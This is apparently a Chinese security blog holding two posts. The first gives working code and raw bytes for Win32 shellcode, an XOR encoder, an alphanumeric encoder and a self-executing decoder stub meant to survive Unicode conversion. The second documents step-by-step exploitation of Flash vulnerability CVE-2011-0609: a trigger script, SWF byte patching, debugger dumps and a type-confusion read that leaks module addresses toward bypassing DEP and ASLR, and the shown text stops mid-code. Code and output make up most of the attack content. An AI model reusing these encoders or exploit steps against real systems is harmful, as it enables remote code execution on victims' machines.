2012-12-18

纯字母数字shellcode编码

纯字母数字shellcode编码分析与实现

编写环境:

Win7 32,vs2008

背景介绍:

1.黑防2007年第二期中介绍了纯字母数字的Shellcode的编写,在3期中的WinRAR 7z溢出中就派上了用场。Unicode大家应该不陌生,在一些大型程序中,比如Word、Excel考虑到不同语言平台的差异性,都会使用 Unicode,在利用这些漏洞的时候,我们以往的Shellcode就难以适用了。一个普通的Down&Exec的Shellcode经过 MultiByteToWideChar函数转换成Unicode后就会乱码。

2.可能有人认为只要先将Shellcode写好,然后用WideCharToMultiByte函数转换成ASCII码,再经过程序转换成 Unicode就可以了,但事实不是这样的,在转换成Unicode的时候,转换函数会根据当前使用的代码页进行转换,比如大写字母'A'(\x41)被转换成\x41\x00,但是第一个字节>0x80或者第二个字节不是\x00的时候,情况就不是这么简单了, MultiByteToWideChar会查找代码页中的对应结果,假如找不到就会有\x3F(?)代替,表示有错误。

3.WideCharToMultiByte使Exploit编写难度加大了,因为不得不使用纯字符的Shellcode,这样经过AscII->Unicode->Ascii转换后的Shellcode依然能正确运行

4.关于纯字母数字的Shellcode,大致的思想就是将shellcode分成解码头+主体两部分,解码头是以纯字符的指令组成的,主体以某种算法拆分成两个字节。解码头取得控制权以后还原Shellcode并执行。

实现方法

未经过编码的shellcode

1.先找到一份Win7下通用的shellcode,因为里边含有0x00,在后边调用宽窄字符转换函数时候会截断,所以先进行一次简单的异或操作,Key=0X97,代码如下:

#include <string.h>
#include <stdio.h>
#define KEY 0x97
char shellcode[219] = {
    0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
    0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
    0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
    0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
    0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9,
    0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
    0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01
    , 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
    0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
    0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
    0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
    0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
    0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
    0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
    0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00
    };//含有\x00的ShellCode
int main()
{
    int i;
    int nLen;
    unsigned char enshellcode[500]; //编码后的enShellCode
    nLen = sizeof(shellcode)-1; //获得ShellCode的长度
    for(i=0; i<nLen; i++)
    {
        enshellcode[i] = shellcode[i] ^ KEY; //对每一位ShellCode作xor key编码KEY=0x97
        //printf("\\x%x-",shellcode[i]); 
        printf("\\x%x",enshellcode[i]); //打印出效果
    }
}
/*
xor97后enshellcode:
"\x7e\x1\x97\x97\x97\xc1\xa6\x5e\xf3\x1c\xe6\xa7\x1c\xe1\x9b\x1c\xe1\x8b\x1c\xd1"
"\x9f\x1c\xe9\xb7\x1c\xa1\xf1\xae\xd8\x8f\xe2\x65\xc9\x54\xf7\x1c\xfb\xb3\xb3\x1c"
"\xd2\xab\x1c\xc3\x92\xef\x96\x7d\x1c\xdd\x8f\x1c\xcd\xb7\x96\x7c\x74\xa0\xde\x1c"
"\xa3\x1c\x96\x79\xa6\x68\xa6\x57\x6b\x3b\x13\x57\xe3\x9d\x56\x58\x9a\x96\x50\x7e"
"\x66\x68\x68\x68\xac\xeb\xb3\xbf\xe2\x49\x1c\xcd\xb3\x96\x7c\xf1\x1c\x9b\xdc\x1c"
"\xcd\x8b\x96\x7c\x1c\x93\x1c\x96\x7f\x1e\xd3\xb3\x8b\xf6\x54\x3a\xc7\xc5\x7f\x30"
"\x68\x68\x68\x1e\x90\x16\x53\x9f\x97\x97\x97\x16\x50\x93\x97\x97\x97\xae\x59\xe2"
"\x71\x54\x7f\x8e\x97\x97\x97\xf\x69\x1d\x99\xe9\x4f\x75\xe4\x16\x7b\x9f\x97\x97"
"\x97\x1e\x72\x7f\xca\x68\x68\x68\x1e\x55\x7c\x75\xc9\x1a\xea\x93\x1e\x66\x16\x56"
"\x9f\x97\x97\x97\x7f\x21\x68\x68\x68\x7c\x99\xcc\xa6\x57\xc7\xc4\x68\xc2\x93\xa6"
"\x57\xc7\x68\xc2\x9f\x7f\x7a\x68\x68\x68\xf4\xf6\xfb\xf4\xb9\xf2\xef\xf2"
*/

2.然后我们将异或0x97后的enshellcode经过两次转换,最后再异或0x97,如果shellcode不变形,能够成功执行shellcode弹出计算器,源码如下:

#include<stdio.h>
#include <iostream>
#include<windows.h>
#define KEY 0x97
//定义ANSIC字符串编码过的shellcode KEY=0x97
char shellcode[] ="\x7e\x1\x97\x97\x97\xc1\xa6\x5e\xf3\x1c\xe6\xa7\x1c\xe1\x9b\x1c\xe1\x8b\x1c\xd1"
"\x9f\x1c\xe9\xb7\x1c\xa1\xf1\xae\xd8\x8f\xe2\x65\xc9\x54\xf7\x1c\xfb\xb3\xb3\x1c"
"\xd2\xab\x1c\xc3\x92\xef\x96\x7d\x1c\xdd\x8f\x1c\xcd\xb7\x96\x7c\x74\xa0\xde\x1c"
"\xa3\x1c\x96\x79\xa6\x68\xa6\x57\x6b\x3b\x13\x57\xe3\x9d\x56\x58\x9a\x96\x50\x7e"
"\x66\x68\x68\x68\xac\xeb\xb3\xbf\xe2\x49\x1c\xcd\xb3\x96\x7c\xf1\x1c\x9b\xdc\x1c"
"\xcd\x8b\x96\x7c\x1c\x93\x1c\x96\x7f\x1e\xd3\xb3\x8b\xf6\x54\x3a\xc7\xc5\x7f\x30"
"\x68\x68\x68\x1e\x90\x16\x53\x9f\x97\x97\x97\x16\x50\x93\x97\x97\x97\xae\x59\xe2"
"\x71\x54\x7f\x8e\x97\x97\x97\xf\x69\x1d\x99\xe9\x4f\x75\xe4\x16\x7b\x9f\x97\x97"
"\x97\x1e\x72\x7f\xca\x68\x68\x68\x1e\x55\x7c\x75\xc9\x1a\xea\x93\x1e\x66\x16\x56"
"\x9f\x97\x97\x97\x7f\x21\x68\x68\x68\x7c\x99\xcc\xa6\x57\xc7\xc4\x68\xc2\x93\xa6"
"\x57\xc7\x68\xc2\x9f\x7f\x7a\x68\x68\x68\xf4\xf6\xfb\xf4\xb9\xf2\xef\xf2";
//using namespace std;
int main()
{
    std::cout<<shellcode<<std::endl;
/*
    //ANSIC转到宽字符
    int Length = MultiByteToWideChar(CP_ACP,0,shellcode,-1,NULL,0);
    wchar_t *pWideCharStr = new wchar_t[sizeof(wchar_t)*Length];
    MultiByteToWideChar(CP_ACP,0,shellcode,-1,pWideCharStr,Length*sizeof(wchar_t));
    std::wcout<<"MultiByteToWideChar:"<<pWideCharStr<<std::endl;
*/

    int Length = MultiByteToWideChar (
        CP_ACP,   //当前系统ANSI代码页,将宽字符转换为ANSI
        0,      //指定如何处理没有转换的字符
        shellcode,  //待转换字符串地址
        -1,     
        NULL,   //
        0);
    wchar_t *pWideCharStr;
    pWideCharStr = new wchar_t[sizeof(wchar_t)*Length];
    if(!pWideCharStr)
    {
        delete []pWideCharStr;
    }
    MultiByteToWideChar (CP_ACP, 0, shellcode, -1, pWideCharStr, sizeof(wchar_t)*Length);
    //delete []psText;
    printf("MultiByteToWideChar:\n");
    for (int i = 0; i < Length; i++)
    {
        printf("%x ",pWideCharStr[i]);
    }
    printf("\n");
    //宽字符转换到ANSIC
    Length = WideCharToMultiByte(CP_ACP,0,pWideCharStr,-1,NULL,0,NULL,NULL);
    char *pMultiByte = new char[Length*sizeof(char)] ;
    WideCharToMultiByte(CP_ACP,0,pWideCharStr,-1,pMultiByte,Length*sizeof(char),NULL,NULL);
    std::cout<<"WideCharToMultiByte:"<<std::endl<<pMultiByte<<std::endl;
    //delete [] pWideCharStr;
    delete [] pMultiByte;
    //解码KEY= 0x97
    int i;
    int nLen;
    nLen = Length; //获得enShellCode的长度
    unsigned char deshellcode[500]; //解码后的deShellCode
    printf("deshellcode:\n");
    for(i=0; i<nLen; i++)
    {
        deshellcode[i] = pWideCharStr[i] ^ KEY; //对每一位enShellCode作xor key编码KEY=0x97
        //printf("\\x%x-",shellcode[i]); 
        printf("\\x%x",deshellcode[i]); //打印出效果
    }
}

运行结果可以很清楚的看到,未经过纯字母数字编码的shellcode,经过两次转换后已经变形,如下图所示:

我只标注了第一行变形的代码,这样转换过的deshellcode(已经和原来的shellcode不同了)肯定是不能够执行的。

构造纯字母数字shellcode

1.先将我们的shellcode进行纯字母数字编码,源码如下:

#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[]=
{
    0xE9, 0x96, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC9, 0x64, 0x8B, 0x71, 0x30, 0x8B, 0x76, 0x0C, 0x8B,
    0x76, 0x1C, 0x8B, 0x46, 0x08, 0x8B, 0x7E, 0x20, 0x8B, 0x36, 0x66, 0x39, 0x4F, 0x18, 0x75, 0xF2,
    0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA,
    0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE,
    0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9,
    0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66,
    0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24,
    0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08,
    0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19,
    0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00,
    0x00, 0x89, 0xE5, 0xE8, 0x5D, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04,
    0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B,
    0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF,
    0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00  
};
int main()
{
    //unsigned char ptr[0x1000] = {0};  
    int nLen, i;
    int A, B;
    unsigned int t1, t2;
    // nLen = strlen((char *)shellcode);
    nLen = sizeof (shellcode);
    i = 0;
    while(true) 
    {
    encode:
        if(i >= nLen)
        {
            break;
        }
        for(A = 0x30; A < 0X7B; A++) //0开始到z
        {
            if( (A > 0x39 && A < 0x41) || (A > 0x5A && A < 0x61) )  //非字母数字部分
            {
                continue;
            }            
            for(B = 0x30; B < 0x7B; B++)
            {
                if( (B > 0x39 && B < 0x41) || (B > 0x5A && B < 0x61) )  
                {
                    continue;
                }
                t1 = A * 0x58; //0x58:X
                t1 = t1 << 24;
                t1 = t1 >> 24;
                t2 = shellcode[i] ^ B; //异或
                t2 = t2 << 24;
                t2 = t2 >> 24;
                if( t1 == t2 )
                {
                    printf("%c%c", A, B);
                    i++;
                    goto encode;
                }           
            }
        }
    }   
    //printf("%s\n", ptr);
    return 0;
}
/*编码后的shellcode:
"0i1N2020202f8q0I2T1S2A8p1S2F541S2FAD1S2v281S2NAx1S8v2V8y5w8X2E0r2n0C2P1S5T8d8d1S"
"2uAd1S2d252H210j1S2z8X1S2jAx210k0c8w2y1S8t1S210n8q3w8q3H3t1t4d3H2D520A0O55210G0i"
"0q3w3w3wAc2L8d8h2E3V1S2j8d210k2V1S545s1S2jAD210k1S241S210h1Q2t8dAD2Q0C1u5h2b0h4G"
"3w3w3w1Q271Y0D282020201Y0G242020208y0N2E0f0C0h8Y2020204x3v1R562N0X0b2C1Y0l282020"
"201Q0e0h2m3w3w3w1Q0B0k0b2n1U2M241Q0q1Y0A282020200h063w3w3w0k562k8q3H5h2c3w2e248q"
"3H5h3w2e280h0m3w3w3w2S2Q5T2S8n2U2H2U20"
*/

2.然后将编码后的shellcode进行过滤,目的是为了解码时候当作解码结束的识别符号,源码如下:

#include "windows.h"
#include "stdio.h"
#include "string.h"
//结尾字符过滤,由于选择特殊字符
unsigned char alphasc[] = "0i1N2020202f8q0I2T1S2A8p1S2F541S2FAD1S2v281S2NAx1S8v2V8y5w8X2E0r2n0C2P1S5T8d8d1S"
    "2uAd1S2d252H210j1S2z8X1S2jAx210k0c8w2y1S8t1S210n8q3w8q3H3t1t4d3H2D520A0O55210G0i"
    "0q3w3w3wAc2L8d8h2E3V1S2j8d210k2V1S545s1S2jAD210k1S241S210h1Q2t8dAD2Q0C1u5h2b0h4G"
    "3w3w3w1Q271Y0D282020201Y0G242020208y0N2E0f0C0h8Y2020204x3v1R562N0X0b2C1Y0l282020"
    "201Q0e0h2m3w3w3w1Q0B0k0b2n1U2M241Q0q1Y0A282020200h063w3w3w0k562k8q3H5h2c3w2e"
    "248q3H5h3w2e280h0m3w3w3w2S2Q5T2S8n2U2H2U20";
int main()
{
    int i, j;
    BOOL bOK;
    for(i = 0x30; i < 0x7b; i++) //0x30 0  0x7a z
    {
        bOK = TRUE;
        if((i > 0x39 && i < 0x41) || (i > 0x5A && i < 0x61))  // 39-41 5a-61之间是非数字字母部分
        {
            continue;
        }
        for(j = 0; j < strlen((const char *)alphasc); j++)
        {
            if(alphasc[j] == i)
            {
                bOK = FALSE;
                break;
            }
        }
        if(bOK == TRUE)
        {
            printf("%c ", i); //打印出数组中没有的字母和数字 
        }
    }
    return 0;
}
// 9 J K W Z a g o  过滤出来的字符,可选择任意一个当作判断解码结束的字符。
  1. 解码shellcode源码如下:
#include <stdio.h>
#include <string.h>
#include <windows.h>
unsigned static char  sc[] = 
    "PZhguaiX5guaiH4C0B6RYkA7XA3A7A2B70B7BhTWUQX5TWUQ4a8A7ub"//倒数第六个字母为filter过滤的字母
    /*
        00421A30 50                   push        eax //实际应用中,一般都会有积存器指向sc,如esp,eax,ebx等
        00421A31 5A                   pop         edx
        00421A32 68 67 75 61 69       push        69617567h
        00421A37 58                   pop         eax
        00421A38 35 67 75 61 69       xor         eax,69617567h
        00421A3D 48                   dec         eax
        00421A3E 34 43                xor         al,43h
        00421A40 30 42 36             xor         byte ptr [edx+36h],al //[edx+36h]存放着编码过的shellcode
        00421A43 52                   push        edx
        00421A44 59                   pop         ecx
        00421A45 6B 41 37 58          imul        eax,dword ptr [ecx+37h],58h
        00421A49 41                   inc         ecx
        00421A4A 33 41 37             xor         eax,dword ptr [ecx+37h]
        00421A4D 41                   inc         ecx
        00421A4E 32 42 37             xor         al,byte ptr [edx+37h]
        00421A51 30 42 37             xor         byte ptr [edx+37h],al
        00421A54 42                   inc         edx
        00421A55 68 54 57 55 51       push        51555754h
        00421A5A 58                   pop         eax
        00421A5B 35 54 57 55 51       xor         eax,51555754h
        00421A60 34 63                xor         al,79h //79可根据实际情况替换,解码结束判断符。
        00421A62 38 41 37             cmp         byte ptr [ecx+37h],al
        00421A65 75 62                jne         sc+99h (00421ac9) //
        上面这部分是解码部分,解码结尾标记,如本例子中的aa(61h),需要使用filter进行过滤分析之后得到的
    */
    //下面是编码后的shellcode,编码方式为base16,算法为sc[i] ^ B == A * 0x58
    "0i1N2020202f8q0I2T1S2A8p1S2F541S2FAD1S2v281S2NAx1S8v2V8y5w8X2E0r2n0C2P1S5T8d8d1S"
    "2uAd1S2d252H210j1S2z8X1S2jAx210k0c8w2y1S8t1S210n8q3w8q3H3t1t4d3H2D520A0O55210G0i"
    "0q3w3w3wAc2L8d8h2E3V1S2j8d210k2V1S545s1S2jAD210k1S241S210h1Q2t8dAD2Q0C1u5h2b0h4G"
    "3w3w3w1Q271Y0D282020201Y0G242020208y0N2E0f0C0h8Y2020204x3v1R562N0X0b2C1Y0l282020"
    "201Q0e0h2m3w3w3w1Q0B0k0b2n1U2M241Q0q1Y0A282020200h063w3w3w0k562k8q3H5h2c3"
    "w2e248q3H5h3w2e280h0m3w3w3w2S2Q5T2S8n2U2H2U20aa";//aa为结束标识符
int main()
{
    int size = sizeof(sc);
    DWORD dwOldProtect;
    bool p = VirtualProtect(sc,size,0x40,&dwOldProtect);
    if (p==NULL)
        printf("fault!\n");
    __asm
    {
        push ebp
        mov ebp,esp
        
        xor ecx, ecx
        lea eax, sc
        call eax
        
        mov esp,ebp
        pop ebp
    }
    //((void (*)(void))&sc)();
    /* 
    for(int i=0;i<161;i++)
        printf("%x ",sc[i+55]); //37h
        printf("\n");
    */
    //  return 0;
}

我们整个构造的纯字母数字shellcode即为:

"PZhguaiX5guaiH4C0B6RYkA7XA3A7A2B70B7BhTWUQX5TWUQ4a8A7ub" //倒数第六个为过滤出来的字符a
"0i1N2020202f8q0I2T1S2A8p1S2F541S2FAD1S2v281S2NAx1S8v2V8y5w8X2E0r2n0C2P1S5T8d8d1S"
"2uAd1S2d252H210j1S2z8X1S2jAx210k0c8w2y1S8t1S210n8q3w8q3H3t1t4d3H2D520A0O55210G0i"
"0q3w3w3wAc2L8d8h2E3V1S2j8d210k2V1S545s1S2jAD210k1S241S210h1Q2t8dAD2Q0C1u5h2b0h4G"
"3w3w3w1Q271Y0D282020201Y0G242020208y0N2E0f0C0h8Y2020204x3v1R562N0X0b2C1Y0l282020"
"201Q0e0h2m3w3w3w1Q0B0k0b2n1U2M241Q0q1Y0A282020200h063w3w3w0k562k8q3H5h2c3w2e248q"
"3H5h3w2e280h0m3w3w3w2S2Q5T2S8n2U2H2U20aa";//aa作为判断解码结束的中止符

4.同理,然后我们进行两次宽窄字节转换并执行,结果如下所示:

由图中可以看出经过两次变换后shellcode并没有发生变化,最后能够正确执行。

总结

1.这个是9月份分析的一个hwp文档漏洞,里边的shellcode用的是一种纯字母数字编码技术,当时研究了一周想把整个编码过程模拟出来,当时知识实在是欠缺,自己编写并提取一个弹出计算机的shellcode都花了两天时间,而且shellcode也不是通用的shellcode,是先通过一段程序将本机的kernel32和Loadlibrary函数地址找到,然后在会变里边直接调用,在后期编写代码的时候中间遇到了几个问题导致程序执行不下去。后来有安排有事,就把这个事情放着了一直没做,这几天闲下时候重新整理了出来,整个过程其实很简单,但是中间也学到了不少东西,也发现真的需要加强一下编程能力了!

2.给我印象最深刻的就是,在测试代码时候有一段代码我调试了很久才找到原因

Push ebp 
mov ebp,esp
lea eax,sc   //sc为存放shellcode的数组
call eax

在执行过第二行mov ebp,esp后,sc的地址就飞了,我当时想的是,汇编代码已经是最底层的代码了,两句汇编代码之间出问题,而且至始至终都没有用sc,这样错误该怎么找?最后调试很多次,是在vs里边查看汇编代码才发现,在一大堆c语言源码嵌入汇编代码,数组sc的指针是存放在[ebp+xx]处,所以在mov ebp,esp后自然sc的地址就飞了。

2012-11-20

CVE-2011-0609

CVE-2011-0609漏洞利用记录,WIN7过DEP+ASLR

 简介

JIT代码在解析三元运算过程中由于逻辑缺陷造成了对象混淆,具体地说,它可以用同一个属性或者方法生成一个有效字节代码并可以访问两个不同的对象。

 调试环境和工具

Windows732CN, 
flashplayer103r18114winaxdebug (调试),
Adobe® Flash® Player Installer/Uninstaller 10.1 r82(触发),
Windbg,FlashDevelop,FlashBuilder,Flash解压缩工具,Yogda,010Editor

 漏洞触发

漏洞触发代码如下

package
{
    import flash.external.ExternalInterface;
    import flash.utils.*;
    public class SearchJIT
    {
       
        public  function nice():ByteArray
        {
            return new ByteArray();
           
        }
        public  function SearchJIT()
        {
            var tttt:ByteArray = (1 == 0) ?nice() : (1 == 0) ? nice() : nice();
            Var tttl:String=new String("AAAAAAAAAAAAAAA......")
            tttl.length;
        }
    }
}

先用FlashDevelop编译然后导出realease版,名为1109.swf的swf格式文件,用flash解压缩工具将1109.swf文件解压为1109_1.swf,然后用Yogda打开,算出构造混淆所要跳过的字节数,经计算,需要将10 06 00 00改成10 11 00 00 如下图所示:

然后用010Editor打开修改10 06为10 11 修改过后如下图所示

这样一个数据混淆的swf文件就生成了,可以看出,获取length属性的代码已经单独成为一个模块了,在获取Sring 的length属性时候,验证机制没有进行严格检测将length属性强制转换成String,从而调用了ByteArray的length属性方法,导致读取数据出错。

用windbg加载出错代码为:

0688afb8 8b4808          mov     ecx,dword ptr [eax+8]
0688afbb 8b89a0000000    mov     ecx,dword ptr [ecx+0A0h]
0688afc1 8d55b8          lea     edx,[ebp-48h]
0688afc4 8945b8          mov     dword ptr [ebp-48h],eax
0688afc7 8b01            mov eax,dword ptr [ecx]  ds:0023:41414141=????????
0688afc9 52              push    edx
0688afca 6a00            push    0
0688afcc 51              push    ecx
0688afcd ffd0            call    eax

dd eax 可以看到String在内存中的数据结构

0:005> dd eax
05f02718  05caa618 40000002 05d84d20 00000000
05f02728  00000162 0000001a 05caa618 00000002
05f02738  05bfc230 00000000 00000004 00000002
05f02748  05caab68 00000002 05eeb080 05dd1ee0
05f02758  05ef6cd1 18000001 05caad58 00000002
05f02768  05efd040 05ef2e38 05f1a220 05e0ff58
05f02778  05caa618 00000003 05be6fd9 00000000
05f02788  00000003 00000012 05caa618 00000003

其中,[eax+8]存放着String字符串的指针,指向字符串存储的内容,[eax+10h]存放着字符串的长度,也就是length属性。

同样的道理,重新构造一个1109_2.swf文件,可以用String的方法来读ByteArray的length属性。代码如下:

package
{
    import flash.display.Sprite;
    import flash.utils.ByteArray;
    import flash.external.ExternalInterface;
   
    public class Main extends Sprite
    {
       public function bla():ByteArray
       {
           return new ByteArray();
       }
       public function Main()
       {
           var tl:ByteArray = (1 == 0) ? bla() : (1 == 0) ? bla() : bla();
           var t:String = new String("AAAAAAAAAAAAAAA......");
           var zz:uint= t.length;
           ExternalInterface.call('alert',zz.toString(16));
       }
      
    }
}

用ie加载1109_2.swf文件,这次没有报错,而是读出来了一个地址

用Windbg加载,然后 u 5d9dd78

0:007> u 5d9dd78
05d9dd78 f8              clc
05d9dd79 91              xchg    eax,ecx
05d9dd7a b005            mov     al,5
05d9dd7c 0000            add     byte ptr [eax],al

很显然不是我们想要找的flash模块地址。

进行到这一步,再往下边分析,要成功混淆出来一个flash模块地址,首先要清楚ByteArray在内存中存放的数据结构了。

 混淆利用分析

装上调试版本的flash:flashplayer103r18114winaxdebug (调试版),然后用FlashBuilder4.0新建AS3项目,代码如下:

然后进行调试,运行到第12行代码以后,看变量窗口

记录ByteArray地址为04be0f41 (flash模块中实际地址为04be0f40),用Windbg加载 dd 04be0f40

0:027> dd 4be0f40
04be0f40  048a40c8 00000003 059ba600 059bf6e8
04be0f50  04be0f58 00000044 048a4008 048a4000
04be0f60  048a4018 048a3ffc 047a9598 05993030
04be0f70  04b75810 05a12fe8 00000000 059c0000
04be0f80  00001000 00000004 00000029 00000000
04be0f90  048a3ff4 00000003 00000000 00000000
04be0fa0  0478d508 00000003 00000002 04be8450
04be0fb0  04c69f94 05a120a0 04c69f40 0000000e

如上图可以看到ByteArray在内存中的数据结构,+0X3C处059c0000为ByteArray数据存放地址指针,指向其存放的内容。00004为length属性,后边00000029(十进制为41)为position属性。

dd 059c0000 可以看到写入的0x41414141

0:027> dd 059c0000
059c0000  41414141 00000000 00000000 00000000
059c0010  00000000 00000000 00000000 00000000

 尝试

既然ByteArray在内存中存放的数据结构不变,用String的length方法读不出来flash模块地址,那么是否可以自己构造一个函数,然后与ByteArray混淆呢?
ByteArray在内存中的结构

00000000:  048a40c8 00000003 059ba600 059bf6e8
00000010:  04be0f58 00000044 048a4008 048a4000

由上边可以看出,要获得048a4008(flash模块)这个地址,只需要我们构造一个函数,在相同的位置有一个length属性,然后用构造函数的方法来读取ByteArray的length,就能将想要的地址给读出来,构造函数形式如下

00000000:  ???????? ???????? ???????? ????????
00000010:  ???????? ???????? xxxxxxxx ????????

其中将xxxxxxxx这个地方设置一个length属性即可。
在FlashBuilder新建项目test,在项目中添加一个新的AS类,代码如下:

package Poc
{
    public class People
    {
      
       public var a :uint = 0x41414141;
       public var b :uint = 0x41414142
       // public  var length :uint = 0x41414143;
       public var c :uint = 0x41414144
       public var d :uint = 0x41414145;
       public var e :uint = 0x41414146;
       public var f :uint = 0x41414147;
       public var g :uint = 0x41414148;
       public var h :uint = 0x41414149;
       public var i :uint = 0x4141414a;
       public var j :uint = 0x4141414b;
       public var k :uint = 0x4141414c;
       public var l :uint = 0x4141414d;
       public var m :uint = 0x4141414e;
       public var n :uint = 0x4141414f;
      
       public function People()
       {
           //
       }
    }
}

然后在主程序中调用这个类,代码如下:

进入调试模式,运行到第19行代码时,数据窗口显示出新定义的People地址

然后用windbg加载IE,dd 59ad040 查看自定义类在内存中的数据结构

0:023> dd 59ad040
059ad040  04a05050 00000003 05957fb8 059ab1f0
059ad050  41414141 41414142 41414143 41414144
059ad060  41414145 41414147 41414148 41414149
059ad070  4141414a 4141414b 4141414c 4141414d
059ad080  4141414e 4141414f 059ad0d0 00000000
059ad090  00000000 00000000 00000000 00000000
059ad0a0  00000000 00000000 00000000 00000000
059ad0b0  00000000 00000000 00000000 00000000

由上图可以看出,我们只需要将41414143的变量名c改为length,然后我们用我们构造的函数读取length的方法去读ByteArray的length,就可以读出来flash模块地址了。

将People类中注释去掉即可,然后到导出发行版本,用和前边同样的方法构造混淆的swf文件,将flash版本换成Adobe® Flash® Player Installer/Uninstaller 10.1 r82,载于ie中运行,读出地址

用windbg加载IE,然后u 5b091f8

0:029> u 5b091f8
Flash10i!DllUnregisterServer+0x329825:
05b091f8 868e82050d81    xchg    cl,byte ptr [esi-7EF2FA7Eh]
05b091fe 8205ca7c8205fc add byte ptr [Flash10i!DllUnregisterServer+0x482f7 (05827cca)],0FCh

成功读出了flash模块地址。

 任意读地址

通过这种方法,基本可以实现读ByteArray中任意地址了,将上边的People类改成如下代码:

package Poc
{
    public class People
    {     
       public var a :uint = 0x41414141;
       public var b :uint = 0x41414142;
       public var c :uint = 0x41414143; //
       public var d :uint = 0x41414144;
       public var e :uint = 0x41414145;
       public var f :uint = 0x41414146;
       public var g :uint = 0x41414147; //
       public var h :uint = 0x41414148;
       public var i :uint = 0x41414149;
       public var j :uint = 0x4141414a;
       public var k :uint = 0x4141414b;
       public var l :uint = 0x4141414c;
       public var m :uint = 0x4141414d;
       public var n :uint = 0x4141414e;
       public var ...
       public var ...
                    
       public function People()
       {
          
       }
    }
}

编译进入调试模式,然后windbg加载Ie查看People类在内存中的数据结构,如下所示

0:021> dd 45d3080
045d3080  687d5050 00000003 0460a868 045f0550
045d3090  41414141 41414142 41414143 41414144
045d30a0  41414145 41414147 41414148 41414149
045d30b0  4141414a 4141414b 4141414c 4141414d
045d30c0  4141414e 4141414f 41414141 41414142
045d30d0  41414143 41414144 41414145 41414147
045d30e0  41414148 41414149 4141414a 4141414b
045d30f0  4141414c 4141414d 4141414e 4141414f

从偏移10h处开始,填充着我们构造的参数,只要我们在ByteArray偏移10h以后能找到任意一个flash模块地址,都可以通过构造函数混淆出来。
同理,在String结构中也存在很多的Flash模块地址,也可以用同样的方法去读String中的flash模块地址,用同样的方法都能够读出来,已测试成功。

 Realease & Debug

实际应用中,自己构造的函数数据结构在realease版本和debug版本中略有差别

 任意读地址的坑

通过上边的分析,我们构造一个People类,下边为利用测试代码

package
{
    import Poc.*;
   
    import flash.display.Sprite;
    import flash.external.ExternalInterface;
    import flash.utils.ByteArray;
   
    public class test extends Sprite
    {
       public function people():People
       {
           return new People;
       }
       public function b():ByteArray
       {
           var ba:ByteArray = new ByteArray;
           ba.writeUnsignedInt(0x41424344);
